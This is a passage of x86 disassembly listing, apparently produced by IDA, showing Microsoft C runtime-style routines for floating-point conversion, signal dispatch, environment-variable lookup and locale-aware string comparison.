		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420BA9
		dec	esi
		pop	ecx
		jnz	short loc_421332


loc_42133F:				; CODE XREF: sub_42116E+1B8j
					; sub_42116E+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_42139C
		mov	[ebp+arg_C], ecx


loc_42134F:				; CODE XREF: sub_42116E+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_420B7B
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420B7B
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420B1D
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420B7B
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_42134F
		mov	eax, [ebp+arg_14]


loc_42139C:				; CODE XREF: sub_42116E+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_4213D9


loc_4213A9:				; CODE XREF: sub_42116E+248j
		cmp	eax, ecx
		jb	short loc_4213BC
		cmp	byte ptr [eax],	39h
		jnz	short loc_4213B8
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_4213B8:				; CODE XREF: sub_42116E+242j
		cmp	eax, ecx
		jnb	short loc_4213C0


loc_4213BC:				; CODE XREF: sub_42116E+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_4213C0:				; CODE XREF: sub_42116E+24Cj
		inc	byte ptr [eax]


loc_4213C2:				; CODE XREF: sub_42116E+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_4213D1:				; CODE XREF: sub_42116E+F0j
		mov	eax, [ebp+var_4]


loc_4213D4:				; CODE XREF: sub_42116E+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4213D9:				; CODE XREF: sub_42116E+239j
					; sub_42116E+275j
		cmp	eax, ecx
		jb	short loc_4213E9
		cmp	byte ptr [eax],	30h
		jnz	short loc_4213E5
		dec	eax
		jmp	short loc_4213D9
; ---------------------------------------------------------------------------


loc_4213E5:				; CODE XREF: sub_42116E+272j
		cmp	eax, ecx
		jnb	short loc_4213C2


loc_4213E9:				; CODE XREF: sub_42116E+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_4213F8:				; CODE XREF: sub_42116E+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_4213D4
sub_42116E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421401	proc near		; CODE XREF: sub_41E04C+225Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421468
		dec	eax
		dec	eax
		jz	short loc_421459
		sub	eax, 4
		jz	short loc_421459
		sub	eax, 3
		jz	short loc_421459
		sub	eax, 4
		jz	short loc_42144C
		sub	eax, 6
		jz	short loc_42143F
		dec	eax
		jz	short loc_421432
		or	eax, 0FFFFFFFFh
		jmp	loc_42152A
; ---------------------------------------------------------------------------


loc_421432:				; CODE XREF: sub_421401+27j
		mov	esi, dword_4D89CC
		mov	eax, offset dword_4D89CC
		jmp	short loc_421473
; ---------------------------------------------------------------------------


loc_42143F:				; CODE XREF: sub_421401+24j
		mov	esi, dword_4D89C8
		mov	eax, offset dword_4D89C8
		jmp	short loc_421473
; ---------------------------------------------------------------------------


loc_42144C:				; CODE XREF: sub_421401+1Fj
		mov	esi, dword_4D89D0
		mov	eax, offset dword_4D89D0
		jmp	short loc_421473
; ---------------------------------------------------------------------------


loc_421459:				; CODE XREF: sub_421401+10j
					; sub_421401+15j ...
		push	edi
		call	sub_42152E
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421473
; ---------------------------------------------------------------------------


loc_421468:				; CODE XREF: sub_421401+Cj
		mov	esi, dword_4D89C4
		mov	eax, offset dword_4D89C4


loc_421473:				; CODE XREF: sub_421401+3Cj
					; sub_421401+49j ...
		cmp	esi, 1
		jnz	short loc_42147F
		xor	eax, eax
		jmp	loc_42152A
; ---------------------------------------------------------------------------


loc_42147F:				; CODE XREF: sub_421401+75j
		test	esi, esi
		jnz	short loc_42148A
		push	3
		call	sub_417CD2


loc_42148A:				; CODE XREF: sub_421401+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_42149C
		cmp	edi, 0Bh
		jz	short loc_42149C
		cmp	edi, 4
		jnz	short loc_4214C2


loc_42149C:				; CODE XREF: sub_421401+8Fj
					; sub_421401+94j
		mov	ebx, dword_4D87A4
		and	dword_4D87A4, 0
		cmp	edi, ecx
		jnz	short loc_4214F1
		mov	edx, dword_43B1DC
		mov	dword_43B1DC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_4214C5
; ---------------------------------------------------------------------------


loc_4214C2:				; CODE XREF: sub_421401+99j
		mov	ebx, [ebp+arg_0]


loc_4214C5:				; CODE XREF: sub_421401+BFj
		cmp	edi, ecx
		jnz	short loc_4214F1
		mov	eax, dword_43B1D0
		mov	ecx, dword_43B1D4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_4214F8
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43B160h[edx*4]


loc_4214E6:				; CODE XREF: sub_421401+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_4214E6
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F1:				; CODE XREF: sub_421401+AAj
					; sub_421401+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421506


loc_4214F8:				; CODE XREF: sub_421401+D7j
					; sub_421401+EEj
		push	dword_43B1DC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421514
; ---------------------------------------------------------------------------


loc_421506:				; CODE XREF: sub_421401+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421514
		cmp	edi, 4
		jnz	short loc_421527


loc_421514:				; CODE XREF: sub_421401+103j
					; sub_421401+10Cj
		cmp	edi, 8
		mov	dword_4D87A4, ebx
		jnz	short loc_421527
		mov	eax, [ebp+arg_0]
		mov	dword_43B1DC, eax


loc_421527:				; CODE XREF: sub_421401+111j
					; sub_421401+11Cj
		xor	eax, eax
		pop	ebx


loc_42152A:				; CODE XREF: sub_421401+2Cj
					; sub_421401+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421401	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42152E	proc near		; CODE XREF: sub_421401+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43B1D8
		cmp	dword_43B15C, edx
		push	esi
		mov	eax, offset dword_43B158
		jz	short loc_42155C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43B158h[esi*4]


loc_421550:				; CODE XREF: sub_42152E+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_42155C
		cmp	[eax+4], edx
		jnz	short loc_421550


loc_42155C:				; CODE XREF: sub_42152E+16j
					; sub_42152E+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43B158h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421570
		cmp	[eax+4], edx
		jz	short locret_421572


loc_421570:				; CODE XREF: sub_42152E+3Bj
		xor	eax, eax

locret_421572:				; CODE XREF: sub_42152E+40j
		retn
sub_42152E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421573	proc near		; CODE XREF: sub_4202CC+23p

arg_0		= dword	ptr  4

		cmp	dword_4D9D68, 0
		push	ebx
		push	esi
		mov	esi, dword_4D86F8
		push	edi
		jz	short loc_4215EA
		test	esi, esi
		jnz	short loc_4215A4
		cmp	dword_4D8700, esi
		jz	short loc_4215EA
		call	sub_421941
		test	eax, eax
		jnz	short loc_4215EA
		mov	esi, dword_4D86F8
		test	esi, esi
		jz	short loc_4215EA


loc_4215A4:				; CODE XREF: sub_421573+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_4215EA
		push	ebx
		call	sub_4176F0
		pop	ecx
		mov	edi, eax


loc_4215B5:				; CODE XREF: sub_421573+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4215EA
		push	eax
		call	sub_4176F0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_4215DD
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_4215DD
		push	edi
		push	ebx
		push	eax
		call	sub_421902
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4215E2


loc_4215DD:				; CODE XREF: sub_421573+51j
					; sub_421573+59j
		add	esi, 4
		jmp	short loc_4215B5
; ---------------------------------------------------------------------------


loc_4215E2:				; CODE XREF: sub_421573+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_4215EC
; ---------------------------------------------------------------------------


loc_4215EA:				; CODE XREF: sub_421573+10j
					; sub_421573+1Cj ...
		xor	eax, eax


loc_4215EC:				; CODE XREF: sub_421573+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421573	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215F0	proc near		; CODE XREF: sub_4209B6+8Bp
					; sub_4209B6+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4D9B20
		jnb	short loc_421657
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4D9A20[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421657
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421630
		and	cl, 7Fh
		jmp	short loc_42163D
; ---------------------------------------------------------------------------


loc_421630:				; CODE XREF: sub_4215F0+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_42164B
		or	cl, 80h


loc_42163D:				; CODE XREF: sub_4215F0+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42164B:				; CODE XREF: sub_4215F0+48j
		mov	dword_4D86D0, 16h
		jmp	short loc_421661
; ---------------------------------------------------------------------------


loc_421657:				; CODE XREF: sub_4215F0+Bj
					; sub_4215F0+27j
		mov	dword_4D86D0, 9


loc_421661:				; CODE XREF: sub_4215F0+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_4215F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421666	proc near		; CODE XREF: sub_42116E+165p
					; sub_421886+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_421866
		cmp	cx, 7FFFh
		jnb	loc_421866
		cmp	dx, 0BFFDh
		ja	loc_421866
		cmp	dx, 3FBFh
		ja	short loc_4216CF
		xor	eax, eax
		jmp	short loc_421709
; ---------------------------------------------------------------------------


loc_4216CF:				; CODE XREF: sub_421666+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_4216F1
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_4216F1
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_4216F3
		cmp	[esi], eax
		jnz	short loc_4216F3
		jmp	loc_421860
; ---------------------------------------------------------------------------


loc_4216F1:				; CODE XREF: sub_421666+71j
					; sub_421666+79j
		xor	eax, eax


loc_4216F3:				; CODE XREF: sub_421666+80j
					; sub_421666+84j
		cmp	cx, ax
		jnz	short loc_421716
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421716
		cmp	[ebx+4], eax
		jnz	short loc_421716
		cmp	[ebx], eax
		jnz	short loc_421716


loc_421709:				; CODE XREF: sub_421666+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_421881
; ---------------------------------------------------------------------------


loc_421716:				; CODE XREF: sub_421666+90j
					; sub_421666+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_421726:				; CODE XREF: sub_421666+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_42177A
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_421742:				; CODE XREF: sub_421666+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_420AFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42176D
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_42176D:				; CODE XREF: sub_421666+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421742


loc_42177A:				; CODE XREF: sub_421666+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421726
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_4217BD


loc_421798:				; CODE XREF: sub_421666+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_4217B6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420B7B
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421798


loc_4217B6:				; CODE XREF: sub_421666+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_4217F6


loc_4217BD:				; CODE XREF: sub_421666+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_4217F6
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_4217D6:				; CODE XREF: sub_421666+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_4217DF
		inc	[ebp+var_14]


loc_4217DF:				; CODE XREF: sub_421666+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BA9
		dec	ebx
		pop	ecx
		jnz	short loc_4217D6
		cmp	[ebp+var_14], 0
		jz	short loc_4217F6
		or	byte ptr [ebp+var_24], 1


loc_4217F6:				; CODE XREF: sub_421666+155j
					; sub_421666+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_42180D
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_421842


loc_42180D:				; CODE XREF: sub_421666+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42183F
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_42183A
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_421834
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_421834:				; CODE XREF: sub_421666+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_42183A:				; CODE XREF: sub_421666+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_42183F:				; CODE XREF: sub_421666+1ABj
		inc	[ebp+var_24+2]


loc_421842:				; CODE XREF: sub_421666+1A5j
					; sub_421666+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_421866
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_421860:				; CODE XREF: sub_421666+86j
		mov	[esi+0Ah], ax
		jmp	short loc_421881
; ---------------------------------------------------------------------------


loc_421866:				; CODE XREF: sub_421666+42j
					; sub_421666+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_421881:				; CODE XREF: sub_421666+ABj
					; sub_421666+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421666	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421886	proc near		; CODE XREF: sub_420C9D+440p
					; sub_42116E+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43B658
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_4218FF
		jge	short loc_4218AE
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43B7B8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_4218AE:				; CODE XREF: sub_421886+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4218B9
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4218B9:				; CODE XREF: sub_421886+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_4218FF
		push	esi
		push	edi


loc_4218C0:				; CODE XREF: sub_421886+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_4218F8
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_4218EB
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_4218EB:				; CODE XREF: sub_421886+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421666
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_4218F8:				; CODE XREF: sub_421886+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4218C0
		pop	edi
		pop	esi


loc_4218FF:				; CODE XREF: sub_421886+14j
					; sub_421886+36j
		pop	ebx
		leave
		retn
sub_421886	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421902	proc near		; CODE XREF: sub_421573+5Ep
					; sub_421DB3+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42190F
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42190F:				; CODE XREF: sub_421902+7j
		push	dword_4D9B24
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4D9D44
		call	sub_4219AF
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42193C
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42193C:				; CODE XREF: sub_421902+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_421902	endp


; =============== S U B	R O U T	I N E =======================================



sub_421941	proc near		; CODE XREF: sub_421573+1Ep
					; sub_421C2C+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4D8700
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4219A2
		mov	ebx, dword_423160


loc_42195A:				; CODE XREF: sub_421941+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4219AA
		push	ebp
		call	sub_417A2B
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4219AA
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4219AA
		push	edi
		push	[esp+18h+var_4]
		call	sub_421C2C
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_42195A


loc_4219A2:				; CODE XREF: sub_421941+11j
		xor	eax, eax


loc_4219A4:				; CODE XREF: sub_421941+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4219AA:				; CODE XREF: sub_421941+29j
					; sub_421941+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4219A4
sub_421941	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219AF	proc near		; CODE XREF: sub_421902+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423CB0
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4D89D8, ebx
		push	1
		pop	edi
		jnz	short loc_421A22
		push	edi
		mov	eax, offset dword_423900
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_423008	; CompareStringW
		test	eax, eax
		jz	short loc_4219FF
		mov	dword_4D89D8, edi
		jmp	short loc_421A22
; ---------------------------------------------------------------------------


loc_4219FF:				; CODE XREF: sub_4219AF+46j
		push	edi
		mov	eax, offset dword_4C96CC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42300C	; CompareStringA
		test	eax, eax
		jz	loc_421C18
		mov	dword_4D89D8, 2


loc_421A22:				; CODE XREF: sub_4219AF+31j
					; sub_4219AF+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_421A39
		push	esi
		push	[ebp+arg_8]
		call	sub_41E5F9
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_421A39:				; CODE XREF: sub_4219AF+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_421A4E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41E5F9
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_421A4E:				; CODE XREF: sub_4219AF+8Dj
		mov	eax, dword_4D89D8
		cmp	eax, 2
		jnz	short loc_421A73
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42300C	; CompareStringA
		jmp	loc_421C1A
; ---------------------------------------------------------------------------


loc_421A73:				; CODE XREF: sub_4219AF+A7j
		cmp	eax, edi
		jnz	loc_421C18
		cmp	[ebp+arg_18], ebx
		jnz	short loc_421A88
		mov	eax, dword_4D8798
		mov	[ebp+arg_18], eax


loc_421A88:				; CODE XREF: sub_4219AF+CFj
		cmp	esi, ebx
		jz	short loc_421A95
		cmp	[ebp+arg_14], ebx
		jnz	loc_421B2D


loc_421A95:				; CODE XREF: sub_4219AF+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_421AA2


loc_421A9A:				; CODE XREF: sub_4219AF+13Cj
					; sub_4219AF+16Dj
		push	2


loc_421A9C:				; CODE XREF: sub_4219AF+146j
		pop	eax
		jmp	loc_421C1A
; ---------------------------------------------------------------------------


loc_421AA2:				; CODE XREF: sub_4219AF+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_421AAE


loc_421AA7:				; CODE XREF: sub_4219AF+151j
					; sub_4219AF+159j ...
		mov	eax, edi
		jmp	loc_421C1A
; ---------------------------------------------------------------------------


loc_421AAE:				; CODE XREF: sub_4219AF+F6j
		cmp	esi, edi
		jg	short loc_421AF3
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_4231B0	; GetCPInfo
		test	eax, eax
		jz	loc_421C18
		cmp	esi, ebx
		jle	short loc_421AF7
		cmp	[ebp+var_3C], 2
		jb	short loc_421AF3
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_421AF3


loc_421AD9:				; CODE XREF: sub_4219AF+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_421AF3
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_421AED
		cmp	cl, dl
		jbe	short loc_421A9A


loc_421AED:				; CODE XREF: sub_4219AF+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_421AD9


loc_421AF3:				; CODE XREF: sub_4219AF+101j
					; sub_4219AF+120j ...
		push	3
		jmp	short loc_421A9C
; ---------------------------------------------------------------------------


loc_421AF7:				; CODE XREF: sub_4219AF+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_421B2D
		cmp	[ebp+var_3C], 2
		jb	short loc_421AA7
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_421AA7


loc_421B0A:				; CODE XREF: sub_4219AF+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_421AA7
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_421B22
		cmp	cl, dl
		jbe	loc_421A9A


loc_421B22:				; CODE XREF: sub_4219AF+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_421B0A
		jmp	loc_421AA7
; ---------------------------------------------------------------------------


loc_421B2D:				; CODE XREF: sub_4219AF+E0j
					; sub_4219AF+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_423164	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_421C18
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_421B7C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_421B7C:				; CODE XREF: sub_4219AF+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_421C18
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_423164
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_421C18
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_421C18
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
